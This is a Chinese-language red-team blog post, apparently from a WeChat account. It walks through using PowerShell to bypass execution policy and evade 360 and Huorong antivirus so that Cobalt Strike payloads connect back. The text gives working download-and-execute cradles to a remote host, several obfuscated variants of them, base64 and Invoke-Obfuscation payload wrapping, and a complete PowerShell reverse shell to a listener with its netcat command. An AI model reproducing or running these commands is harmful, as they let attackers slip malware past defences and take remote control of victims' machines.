我的powershell免杀之路

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。powershell一直都是内网渗透的大热门,微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现,近年来利用powershell来搞内网渗透进行横向或免杀的热度一直居高不下。
/
这次我将结合前人的各种骚操作,以及个人的不断试错,所想所思,来写一篇关于powershell来进行免杀,达到CS多种姿势绕过AV上线的干货文章,并且本文章尽力内容友好易懂,没接触过powershell的小白也可以实现免杀上线,拥有自己的一些bypass小技巧

01

实验环境:

一台WIN7专业版     360全家桶         火绒最新版本

02
powershell执行策略问题:

首先我们要来了解一下powershell执行策略这一块的基础问题:

powershell有六种执行策略:

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

那么windows默认的执行策略是Restricted,他是不允许任意脚本的执行

我们来查查当前目标机器的执行策略:

进入powershell查看执行策略 :Get-ExecutionPolicy

可以看到,此时我们运行保存好的tubai.ps1文件,当前策略是默认不允许执行脚本的

我们可以用管理员权限来修改默认执行策略,来达到执行我们ps1脚本的效果

Set-ExecutionPolicy Unrestricted(权限最高,可以不受限制执行任意脚本)设置执行策略

此时执行便不在报错,成功执行我们的脚本

03
绕过执行策略:

当然我们在渗透中,遇到执行策略配置是默认不执行的,我们再去通过管理员权限去修改就太鸡肋,动作太大了,所以便有了绕过执行策略,去执行我们的脚本以及powershell命令,下面来介绍几种常见的绕过方式。

为便于演示,我们再次将执行策略设为默认不允许任意脚本的执行

Get-ExecutionPolicy Restricted

第一种:

以文件落地为例:

本地读取然后通过管道符运行

powershell Get-Content tubai.ps1 | powershell -NoProfile -

Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File ./tubai.ps1

Unrestricted执行策略标志

powershell -ExecutionPolicy unrestricted -File ./tubai.ps1

可以看到以上bypass方式均成功绕过执行策略。

以文件不落地为例:

远程下载并通过IEX运行脚本

powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))'

这个下面的绕过思路会细谈。

04
powershell 命令混淆绕过AV上线:

我们直接cs生成

powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))'

这条命令主要做了哪些事?

利用downloadstri远程读取powershell文件并iex执行,即http://192.168.52.23:80/a下的文件。

iex => Invoke-expression  将字符串当作powershell代码执行

我们直接在目标机运行发现被拦截:

那我我们可以根据powershell语言的特性进行混淆,例如字符串转换、变量转换、编码、压缩等等来绕过AV达到上线

  1. 为iex设置别名

powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.52.23:80/a')

目标机器无拦截,绕过360与火绒成功上线

2.远程下载并通过IEX运行脚本,这里我们采用echo方式

echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.52.23:80/a') | powershell -

目标机器无拦截,绕过360与火绒成功上线

3.利用' '拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP)

powershell  -c 'IEX(New-Object Net.WebClient).'DownloadString'('ht' ’tp://192.168.52.23:80/a')'

05
powershell 代码混淆绕过AV上线:

首先来生成一个原始的cs上的powershell脚本

Powershell -ExecutionPolicy Bypass -File ./payload.sp1

在目标机器执行发现被杀

那么我们对生成的payload.ps1原始代码进行分析

可以看到它是把字符串进行加载,我们来整个进行一个base64编码然后在解码后加载

解码加载

解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

此时去执行上线

运行我们修改后的

Powershell -ExecutionPolicy Bypass -File .\payload.sp1

可以看到杀软无反应,绕过了AV拦截成功上线

06
利用Invoke-Obfuscation混淆ps文件实现上线:

https://github.com/danielbohannon/Invoke-Obfuscation

这个powershell混淆编码框架,这也是著名的组织APT32 (海莲花)经常使用的一个工具。

还是准备一个cs生成的payload.ps1,按上面的方式生成即可,不再重复。

1.我们来装载框架进入Invoke-Obfuscation

Import-Module ./Invoke-Obfuscation.psd1

Invoke-Obfuscation

2.接下来设置ps1文件进行混淆,按图操作即可

set scriptpath E:\...\Invoke-Obfuscation_PowerShell\payload.ps1

输入ENCODING  就会列出以下几种编码方式

encoding

1

3.输出文件:out 2.ps1

4.接着我们去目标机器运行生成的2.ps1

去运行上线:./2.ps1

可以看到无拦截

同样执行上线

07
关于powershell在实际应用中的小技巧:

在实际渗透中,对cmd的防范比powershell更加严格,所以我们在操作中通过弹一个powershell出来执行,更加方便安全。

我们在目标机器执行

powershell -c '$client = New-Object Net.Sockets.TCPClient('192.168.52.134',7777);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback 'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()'

此时我们VPS监听便弹回了一个目标机器powershell

vps监听  nc -lvp 7777

参考:

https://www.freebuf.com/articles/system/227467.html

https://www.jianshu.com/p/fb078a99e0d8

https://blog.csdn.net/zhangge3663/article/details/111945373

总结:powershell在内网渗透中应用广泛,远不止免杀与信息收集,以后会出更多的红蓝对抗系列给大家。本文介绍了执行策略问题与绕过策略方式,以及命令混淆与代码混淆来达到绕过AV上线的方式,站在前人的肩膀上思考并看问题。各位有任何问题关注我们公众号私信或联系到我即可,大家有兴趣可以和我们一起研究与探讨技术。

乌雲安全

乌雲安全,致力于红队攻防实战、内网渗透、代码审计、社工、安卓逆向、CTF比赛技巧、安全运维等技术干货分享,并预警最新漏洞,定期分享常用渗透工具、教程等资源。
63篇原创内容
公众号
(0)

相关推荐

  • 推荐大家使用chocolatey,安装chocolatey完整过程!三秒搞定

    表白:黑白圣堂血天使,天剑鬼刀阿修罗.  讲解对象:/推荐大家使用chocolatey 作者:融水公子 rsgz chocolatey教程 chocolatey教程 http://www.rsgz.t ...

  • powershell运行脚本禁止错误

    我们如果换了新电脑,然后装上了PowerShell,之前有很多实用的nodejs小工具,还想在新电脑上使用,但是发现在powershell中都一直报错..该怎么处理?跟俺来! 无法加载文件 **.ps ...

  • Cobalt Strike免杀脚本生成器|cna脚本|bypassAV

    目录导航 使用方法 参考文章 cna脚本下载地址 杀毒软件绕过效果检测 ①bypass火绒效果 ② bypass 卡巴斯基效果 注意事项: 仅用于技术交流,请勿用于非法用途. 该插件没有什么技术含量, ...

  • 免杀任意EXE

    实现一个PE文件加载器 PE文件 PE文件简述 PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE.DLL.OCX.SYS.COM都是PE文件,PE文件是微 ...

  • 野外遇到这些动物如何应对,杀出血路

    鳄鱼: 鳄鱼极其凶猛,因故他们保持一定安全距离,下水时要注意水下情况,小心有另一只更大的鳄鱼.鳄鱼嘴巴的咬合力很强,但张开的力量并不强,制服鳄鱼时就要设法不让他张嘴,活套就不错.鳄鱼一般会将猎物拖入水 ...

  • 22朵铿锵玫瑰东京绽放!女足遭遇荷兰、巴西,能否杀出血路?

    日前,中国女足出征东京奥运会的球员名单正式官宣,亚洲足球小姐王霜.吴海燕等名将领衔出战.时隔5年,铿锵玫瑰再次亮相奥运赛场,能否打进八强甚至走得更远值得期待.在最终的名单中,唐佳丽.马君以及娄佳惠等原 ...

  • 【超详细 | Python】CS免杀-Shellcode Loader原理(python)

    一位苦于信息安全的萌新小白帽 本实验仅用于信息防御教学,切勿用于它用途 公众号:XG小刚 shellcode和loader 最近在学习cs免杀,由于比较菜只懂python语言,就先了解py是如何实现加 ...

  • 手把手全套过狗(附tamper和哥斯拉免杀马)

    大家好!我是黑客Anony 本问主要介绍过绕过安全狗的注入以及上传方法,内容偏新手,大佬勿喷.. 知识点介绍 开始先将本文所使用到的绕过方法知识点列出来 1.内联注释绕过 在mysql的语法中,有三种 ...

  • 美团港交所上市:王兴奋斗8年 在白热化竞争中杀出血路

    雷帝网 雷建平 9月20日报道 美团点评今日正式登陆港交所,发行价为69港元.按发行价计算,美团点评将募集资金约325.5亿港元. 美团点评是继小米之后香港第二只"同股不同权"IP ...

  • 苏曼殊帮军人翻译,被嘲讽:出家人怎有杀机?答:免杀无辜才是善

    世人眼里的苏曼殊,是一个矛盾的集合体.他贪恋美色,又从心底恐惧女性,一心想脱离红尘,却又被世俗牵绊,中途还参与过军务活动. 僧人本该六根清净,不过问红尘俗事,而苏曼殊出家却不减满腔的爱国热情.他曾经帮 ...

  • 拿下春晚,抖音支付要如何在一个月内杀出血路

    文/雨茜 来源:新文化商业(ID:Ent-Biz) 近日,有媒体曝出抖音已接替拼多多拿下2021年牛年春晚红包互动权.字节跳动虽未官方宣布,但招聘网站率先增加几十个"春节专项"招聘 ...

  • 利用python免杀cs shellcode

    概述 1.什么是shellcode 在维基百科中这样解释道:在黑客攻击中,shellcode是一小段代码,用于利用软件漏洞作为有效载荷.它之所以被称为"shellcode",是因为 ...